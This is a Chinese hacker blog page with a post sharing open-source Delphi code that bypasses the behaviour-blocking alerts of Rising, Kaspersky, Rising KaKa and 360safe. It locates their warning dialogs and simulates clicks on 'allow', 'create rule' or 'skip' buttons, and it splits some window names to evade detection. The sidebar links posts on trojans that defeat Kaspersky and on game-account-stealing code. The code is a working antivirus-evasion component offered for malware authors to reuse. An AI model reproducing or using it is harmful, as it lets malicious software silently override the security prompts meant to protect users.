-
公告
- 黑夜给了我黑色的眼睛去寻找光明,阳光给了我明亮的眼睛我却是去寻找黑暗,所以我只有在夜里才出现真实的自己。(菩提本不树,明镜亦非台,本来无一物,何处染尘埃。)
-
写作时间
-
原创下载
-
最新文章
- [04/29]大半个月的上班族
- [04/29]Google 黑客搜索技巧
- [04/23]绕过主动防御 木马病毒刺穿卡巴斯基
- [04/16]老牌社区K666再度易主 续谈当年情
- [04/14]第一天上班。
- [04/14]华夏[破还原-穿主动]完美下载者
- [04/10]第一次应凭。
- [04/08]百度K后重收经验!
- [04/06]Themida & WinLicen V1.9.1.0--V1.9.5.0 系列脱壳脚本.By.fxyang[CUG]
- [04/05]拿站之---郁闷!
- [04/02]新站建立难!
- [03/31]嘿嘿,小说站有进步!
- [03/28]五天来的琐碎片段。
- [03/23]完美世界EXE包含部分代码
- [03/22]完美世界截取和发信部分代码
-
最新评论
-
文章归档
-
Statistics
- 文章总数:154
- 评论总数:47
- 引用总数:0
- 浏览总数:121178
- 留言总数:0
- 当前样式:4u-HK
- 当前语言:zh-CN
-
友情链接
- 反木马在线
- 热门小说网
- 老喜 'S Blog
- 示波器
- 中国电脑论坛
- 交换友情链接请与QQ:287963907联系.审核非违法网站都可通过!
-
反向链接
使用Findwindow过卡吧瑞星主动防御[代码开源]
{
转载请保留版权 PopSky 'S Blog
http://www.popsky.org
}
其实算不上是真正意义上的过主动防御吧.其实真正过主动防御的方法也有很多,只是都比较深....实现的方法是模拟鼠标自动把出现的拦截提示给点掉....效果差不多吧.嘿嘿.开源给大家共享了.
procedure CloseKaoBa;
var
f1,f2:integer;
r1:trect;
s:string;
const WM_LBUTTONDOWN = $0201;
WM_LBUTTONUP = $0202;
WM_CLOSE = $0010;
begin
//d:=GetTickCount()+20*1000;
while true do
begin
if flag_end=true then break;
try
//瑞星
s:='瑞星注册表监控提示';
f1:=findwindow('#32770',pchar(s));
if f1<>0 then
begin
SetForegroundWindow(f1);
SetActiveWindow(f1);
f2:=FindWindowEx(f1,0,'Button','同意修改');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
//showmessage('a');
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end;
f2:=FindWindowEx(f1,0,'Button','确定');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
end;
//瑞星
f1:=findwindow('#32770','IE 执行保护');
if f1=0 then
f1:=findwindow('#32770','IE执行保护');
if f1<>0 then
begin
SetForegroundWindow(f1);
SetActiveWindow(f1);
f2:=FindWindowEx(f1,0,'Button','允许执行');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
//showmessage('a');
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end;
f2:=FindWindowEx(f1,0,'Button','确定');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
end;
//瑞星卡卡
s:='瑞';
s:=s+'星';
s:=s+'卡卡上网安全助手 - IE防漏墙';
f1:=findwindow(pchar('#32770'),pchar(s));
if f1<>0 then
begin
f2:=FindWindowEx(f1,0,'Button','允许');
if f2<>0 then
begin
getwindowrect(f2,r1);
setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
end;
//卡吧
f1:=findwindow('AVP.AlertDialog',nil);//得到瑞星窗体
if f1<>0 then
begin
f2:=FindWindowEx(f1,0,'AVP.Button','创建规则');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end;
f2:=FindWindowEx(f1,0,'AVP.Button','允许');
if f2=0 then
f2:=FindWindowEx(f1,0,'AVP.Button','允许(&A)');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
else
begin
f2:=FindWindowEx(f1,0,'AVP.Button','跳过');
if f2=0 then
f2:=FindWindowEx(f1,0,'AVP.Button','跳过(&S)');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
else
SendMessage(f1, WM_close, 0, 0);
end;
end;
s:='AVP.Pr';
s:=s+'oduct_Notification';
f1:=findwindow(pchar(s),nil);
if f1<>0 then
SendMessage(f1, WM_close, 0, 0);
f1:=findwindow('AVP.TrafficMonConnectionTerm',nil);
if f1<>0 then
begin
f2:=FindWindowEx(f1,0,'AVP.Button','否');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end
else
SendMessage(f1, WM_close, 0, 0);
end;
//360safe
f1:=findwindow('Afx:400000:0','');
if f1<>0 then
begin
f2:=FindWindowEx(f1,0,'Button','允许此动作');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
f2:=FindWindowEx(f1,0,'Button','确定');
if f2<>0 then
begin
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
SendMessage(f2, WM_LBUTTONUP, 0, 0);
end;
end;
end;
except
end;
//if GetTickCount()>d then break;
sleep(5);
end;
end;


0 Comments , 0 Trackbacks
Jump to comment form | comments rss | Get trackback uri